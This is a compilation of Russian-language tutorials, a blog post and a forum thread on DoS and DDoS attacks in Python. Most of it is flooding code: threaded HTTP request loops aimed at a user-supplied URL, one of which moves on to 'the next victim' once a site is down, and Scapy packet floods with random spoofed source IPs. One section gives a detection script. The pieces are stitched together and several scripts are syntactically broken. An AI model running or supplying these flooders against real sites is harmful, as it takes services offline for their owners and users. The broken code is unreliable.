DOS атака на Python для самых маленьких
Сегодня мы разберемся что такое DOS, DDOS, а так же научимся проводить простейшую DOS атаку.
И так, что же такое DOS и DDOS атаки? Разберем это на знакомом примере.
Идет урок математики, один из учеников делает что-нибудь раздражающее, что начинает мешать училке, вести урок, однако, если нашего дорогого ученика вычислит училка,
у него в дневнике появится моднейшая «2» за поведение, а наш одноклассник отправляется в корридор.
Примерно по такому же принципу проводится DOS атака, одна машина, пишем скрипт, который будет сильно нагружать поток и препятствовать нормальной работе сайта.
У нас может получиться положить сайт, но не на долго, если получится вообще, потому что отследить такое вмешательство не сложно.
А теперь возьмем в пример тот же урок математики, но мешает училке уже не один человек, а весь класс — урок сорван.
Так же и с DDOS атаками, атака проводится не с одного устройства, а с тысяч, сотен тысяч, может быть даже миллионов, противостоять этому невозможно, только если
администрация дернет рубильник, таким образом сайт можно похоронить так, что он потом не поднимется вообще.
Сегодня мы с вами научимся проводить простую DOS атаку, так как, предпологаю, у вас нет многотысячных единомышленников, если какого-нибудь вируса, который вам удалось
распространить на большое количество систем (а если есть, то зачем ты это читаешь, лол?)
И так, нам нужно написать скрипт, который будет пакетами данных засорять поток на удаленной системе, от чего она будет доведена до оргазма(зачеркнуто) отказа и
прекратит свою работу. Нам нужно сделать так, чтобы система не вывозила количество входящщих данных, не успевала их обрабатывать и отвечать на них.
И так, что же нам нужно, для нашего блюда, которым мы накормим неугодную систему:
1. Python3 — тут мы собственно будем писать скрипт.
2. Colorama — не обязательно, нужно для удобства.
3. Requests — обязательно, нужно чтобы отправлять на удаленный сервер запросы post/get
4. Threading — тоже обязательно, обеспечивает многопоточность, многопоточность нужна для увеличения скорости.
Теперь, когда у нас под рукой есть все необходимое, можно и к делу наконец перейти.
1. Делаем импорт библиотек выше, которые вы уже установили (установили ведь, да?)
import colorama
import threading
import requests
2. Пишем функцию, которая будет отправлять ништяки, а также докладывать нам о состоянии пациента:
def dos(target):
while True:
res = requests.get(target)
print(colorama.Fore.YELLOW + "Request sent!" + colorama.Fore.WHITE)
except requests.exceptions.ConnectionError:
print(colorama.Fore.RED + "[+] " + colorama.Fore.LIGHTGREEN_EX + "Connection error!")
С помощью данной функции, мы делаем бесконечный цикл, но нам он не страшен, ведь у нас много потоков. Останется только поддождать, когда сервер ляжет.
Но это еще не все, ведь мы еще не написали основной код:
threads = 20
url = input("URL: ")
threads = int(input("Threads: "))
except ValueError:
exit("Threads count is incorrect!")
if threads == 0:
exit("Threads count is incorrect")
if not url.__contains__("http"):
exit("Invalid domain")
for i in range(0, threads):
thr = threading.Thread(target=dos, args=(url,))
thr.start()
print(str(i + 1) + " thread started!")
А теперь разберемся, что тут у нас вообще происходит. Мы создали переменную threads, в которой мы обозначаем количество потоков. По дефолту у нас стоит 20, это
маловато так что добавляем нолей по вкусу. В переменную url нам нужно вписать домен цели.
Выясняем у пользователя, количество потоков, которое он хотел бы использовать, делаем это в блоке try. Смотрим на количество потоков, если их 0, то у нас ничего не
Далеем убеждаемся, что у нас именно ссылка, делается это по следующим опозновательным признакам: в начале есть http или https, а на конце домен верхнего уровня
И вот, настал тот момент, когда мы все написали (или скопировали), все проверили, нажимаем кнопку F5 (ставь лайк если у тебя есть
такая кнопка, посмотрим сколько
нас), в открывшемся окне бахаем ненавистный нами URL, пишем количество потоков. В окне начинают появляться отчеты, а мы откидываемся на спинку кресла, пьем чай и
DoS & DDoS атака
В этой главе мы узнаем о атаках DoS и DdoS и узнаем, как их обнаружить.
С бумом в индустрии электронной коммерции, веб-сервер теперь подвержен атакам и стал легкой целью для хакеров. Хакеры обычно пытаются два типа атаки –
- DoS (отказ в обслуживании)
- DDoS (распределенный отказ в обслуживании)
DoS (отказ в обслуживании) атака
Атака «отказ в обслуживании» (DoS) – это попытка хакеров сделать сетевой ресурс недоступным. Обычно он прерывает хост, временный или неопределенный, который подключен к Интернету. Эти атаки обычно нацелены на службы, размещенные на критически важных веб-серверах, таких как банки, шлюзы оплаты кредитными картами.
Симптомы DoS-атаки
- Необычно низкая производительность сети.
- Недоступность определенного веб-сайта.
- Невозможность получить доступ к любому веб-сайту.
- Резкое увеличение количества полученных спам-писем.
- Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
- Недоступность конкретного сайта.
Необычно низкая производительность сети.
Недоступность определенного веб-сайта.
Невозможность получить доступ к любому веб-сайту.
Резкое увеличение количества полученных спам-писем.
Долгосрочный отказ в доступе к сети или любым интернет-сервисам.
Недоступность конкретного сайта.
Типы DoS-атак и их реализация на Python
DoS-атака может быть реализована на канале передачи данных, на уровне сети или на уровне приложений. Давайте теперь узнаем о различных типах DoS-атак &; их реализация в Python –
Один IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и с одного номера порта. Это низкоуровневая атака, которая используется для проверки поведения веб-сервера. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python поможет реализовать DoS-атаку с одним IP-портом –
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
После выполнения вышеприведенный скрипт запросит следующие три вещи:
- IP-адрес источника и цели.
- IP-адрес номера порта источника.
- Затем он отправит большое количество пакетов на сервер для проверки его поведения.
IP-адрес источника и цели.
IP-адрес номера порта источника.
Затем он отправит большое количество пакетов на сервер для проверки его поведения.
Один IP, несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием одного IP-адреса и нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт на python поможет реализовать DoS-атаку с несколькими IP-портами:
from scapy.all import * source_IP = input("Enter IP address of Source: ") target_IP = input("Enter IP address of Target: ") i = 1 while True: for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt, inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP один порт
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с одного номера порта. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python реализует DoS-атаку с несколькими портами на один IP –
from scapy.all import * target_IP = input("Enter IP address of Target: ") source_port = int(input("Enter Source Port Number:")) i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
Несколько IP несколько портов
Большое количество пакетов отправляется на веб-сервер с использованием нескольких IP-адресов и с нескольких портов. Его реализация в Python может быть выполнена с помощью Scapy. Следующий скрипт Python помогает реализовать DoS-атаку с несколькими портами –
Import random from scapy.all import * target_IP = input("Enter IP address of Target: ") i = 1 while True: a = str(random.randint(1,254)) b = str(random.randint(1,254)) c = str(random.randint(1,254)) d = str(random.randint(1,254)) dot = “.” Source_ip = a + dot + b + dot + c + dot + d for source_port in range(1, 65535) IP1 = IP(source_IP = source_IP, destination = target_IP) TCP1 = TCP(srcport = source_port, dstport = 80) pkt = IP1 / TCP1 send(pkt,inter = .001) print ("packet sent ", i) i = i + 1
DDoS-атака (распределенный отказ в обслуживании)
Распределенная атака типа «отказ в обслуживании» (DDoS) – это попытка сделать веб-службу или веб-сайт недоступными, перегружая их огромным потоком трафика, генерируемым из нескольких источников.
В отличие от атаки типа «отказ в обслуживании» (DoS), в которой один компьютер и одно подключение к Интернету используются для заполнения целевого ресурса пакетами, атака DDoS использует много компьютеров и множество подключений к Интернету, часто распределенных по всему миру в том, что называется ботнетом. , Крупномасштабная DDoS-атака может генерировать трафик, измеряемый десятками гигабит (и даже сотнями гигабит) в секунду. Это можно прочитать подробно на https://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm .
Обнаружение DDoS с использованием Python
На самом деле DDoS-атаку немного сложно обнаружить, потому что вы не знаете, что хост, отправляющий трафик, является поддельным или реальным. Сценарий Python, приведенный ниже, поможет обнаружить DDoS-атаку.
Для начала давайте импортируем необходимые библиотеки –
import socket import struct from datetime import datetime
Теперь мы создадим сокет, как и в предыдущих разделах.
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)
Мы будем использовать пустой словарь –
dict = <>
Следующая строка кода откроет текстовый файл, содержащий подробную информацию о DDoS-атаке в режиме добавления.
file_txt = open("attack_DDoS.txt",'a') t1 = str(datetime.now())
С помощью следующей строки кода при каждом запуске программы будет записываться текущее время.
file_txt.writelines(t1) file_txt.writelines("\n")
Теперь нам нужно принять на себя попадания с определенного IP. Здесь мы предполагаем, что если конкретный IP-адрес будет срабатывать более 15 раз, то это будет атака.
No_of_IPs = 15 R_No_of_IPs = No_of_IPs +10 while True: pkt = s.recvfrom(2048) ipheader = pkt[0][14:34] ip_hdr = struct.unpack("!8sB3s4s4s",ipheader) IP = socket.inet_ntoa(ip_hdr[3]) print "The Source of the IP is:", IP
Следующая строка кода проверит, существует ли IP в словаре или нет. Если он существует, то он увеличится на 1.
if dict.has_key(IP): dict[IP] = dict[IP]+1 print dict[IP]
Следующая строка кода используется для удаления избыточности.
if(dict[IP] > No_of_IPs) and (dict[IP] R_No_of_IPs) : line = "DDOS attack is Detected: " file_txt.writelines(line) file_txt.writelines(IP) file_txt.writelines("\n") else: dict[IP] = 1
После запуска вышеуказанного скрипта мы получим результат в текстовом файле. Согласно сценарию, если IP-адрес попадет более 15 раз, он будет напечатан при обнаружении DDoS-атаки вместе с этим IP-адресом.
Python и DOS-атаки с помощью библиотеки requests

Привет всем! Небольшой пост сегодня, навеянный текущей ситуацией. Будем экспериментировать с DOS-атаками с помощью библиотеки requests в Python.
Длы начала — что такое DOS-атака? Это создание ситуации, когда мы самостоятельно (совсем не эффективно при текущих-то мощностях) или коллективно (о, да!) создаем некоторую нагрузку на атакуемый сервер. Множество запросов, которые заставляют сервер выделять на ответы свои ресурсы приводят к тому, что в итоге сервер оказывается перегружен запросами, и не может обрабатывать те запросы, которые действительно нужны. Так давайте разберемся, как создавать эти запросы?
Логика сеогдняшнего кода очень проста — отправляем запрос на сайт и пытаемся получить полный код интересующей нас страницы. Мелочь, но — когда мелочей миллион — сайт начинает тормозить, и в итоге — перестает стабильно работать. Для нашего же компьютера и соединения это — совершенно незаметная нагрузка.
Пример кода — ниже (и да, за тестирование и комментарии спасибо подписчику Льву, который сейчас в Киеве. Там очень сложно, но он не теряет оптимизма — за что ему отдельный респект!):
import requests #подключили библиотеку requests (о ней я писал неоднократно) def get_link(): #Создаем функцию, которая получает ссылку на атакуемый сайт link = input(str('Link: ')) get_content(link) def get_content(link): #Создаем функцию, которая собственно и будет создавать запросы на атакуемый сайт i = 1 while True: try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) #Поддельный заголовок нашего браузера r_answer = r.content #Создаем переменную, которая состоит из исходного кода страницы print('Отправлено пакетов:', i) #Выводим статистику i = i + 1 except: print('Кажется, сайт', link, 'лежит. Дополнительная проверка. ') #Лег сайт? Проверим на всякий случай :) try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) r_answer = r.content print('Точно лежит :) Выбираем следующую жертву.') #Точно лег. Давайте выберем следующую жертву? :) get_link() except: print('Точно лежит :) Выбираем следующую жертву.') get_link() while True: get_content(get_link()) get_link()
Спасибо за внимание Как всегда — в случае возникновения вопросов пишите на почту или в Telegram.
Завтра постараюсь выкатить версию простейшего атакера, основанного на Ping-запросах в виде оконного приложения (беда современных пользователей компьютеров в том, что бОльшая часть совершенно не умеет пользоваться командной строкой). Слава Украине!
Создание фейковой DoS программы на Python
Всем ахаё ,DoS приселдуюутся законом ,но если вы очень хотите похвастаться перед друзьями какой вы хацкер программист ,то эта программа вам поможет!
import time import os import threading import requests
Это наши импорты (Без них никак!) |^|
# краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс def DosAttack(target): while True: try: rec = requests.get(target) print("Request sent to " + URLOFSITE) except requests.exceptions.ConnectionError: print("[+] " +"error")
Сразу кидаем запросы вверх кода что-бы не забыть. |^|
threads = 50 #time.sleep(0.4)
Подготовка , и сам инпут URL(а) |^|
time.sleep(0.7) os.system('cls')
try: attack = int(input("Threads:")) except ValueError: exit("Site have - ValieError") if attack == 0: exit("Not right") if not URLOFSITE.__contains__("http"): exit('Site Error') if not URLOFSITE.__contains__("."): exit("Site Error")
DoS атака и фэйковые надписи ошибки сайта ,так-же реальные ошибки для правдоподобности
for i in range(0, attack): thr = threading.Thread(target=DosAttack, args=(URLOFSITE,)) thr.start() print(str(i + 1) + " Working") # -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!
Ссылка скрыта от гостей
Весь код на Python 3.8.3
import time import os import threading import requests # краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс def DosAttack(target): while True: try: rec = requests.get(target) print("Request sent to " + URLOFSITE) except requests.exceptions.ConnectionError: print("[+] " +"error") threads = 50 #time.sleep(0.4)ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!
Borjomy
Member
30.12.2020 16 0
Если кто не понял что значит фейковая программа,сайт падает если сайт будет открыт с роутера ноута с которого идёт процесс ,по настоящему сайт не падает.
Pernat1y
Red Team
05.04.2018 1 444 132
Borjomy
Member
30.12.2020 16 0
Я уже говорил ,что-бы похваться без каких либо проблем с законом
f22
Codeby Academy
Gold Team
05.05.2019 1 718 181
Я уже говорил ,что-бы похваться без каких либо проблем с законом
Что-то не пойму: суть вашей программы состоит в отправке огромного количества запросов по нужному URI, что это, если не атака?
# -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!
А с чего вы это взяли?
краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс
Какое устройство? Какого ноута?
Borjomy
Member
30.12.2020 16 0
Что-то не пойму: суть вашей программы состоит в отправке огромного количества запросов по нужному URI, что это, если не атака?
А с чего вы это взяли?
Какое устройство? Какого ноута?
Окей, при тесте программы сайты падали ,но когда я открыл сайт на телефоне (не через Wi-Fi с которого шёл процесс ) через передачу-данных (Интернет) ,то сайт ровно стоял, хотя как через Wi-Fi сайт падал как
Ссылка скрыта от гостей
.То есть сайт открытый с сети из которого идёт процесс падает ,а сайт открытый из другой сети (как интернет) стоит как всегда.
f22
Codeby Academy
Gold Team
05.05.2019 1 718 181
То есть сайт открытый с сети из которого идёт процесс падает ,а сайт открытый из другой сети (как интернет) стоит как всегда.
Не сайт падает, а пакеты к вам обратно не доходят.
Вы отправляете с атакующего устройства условно 100 пакетов через python скрипт и 1 пакет из браузера.
Сайт/роутер не в состоянии обработать такое количество соединений одновременно, поэтому, вы и не можете увидеть страницу.
Но повторяю, это и есть обыкновенная DoS атака. Малоэффективная, не проработанная, но атака и говорить, что это "процесс ложный" абсолютно ошибочно.
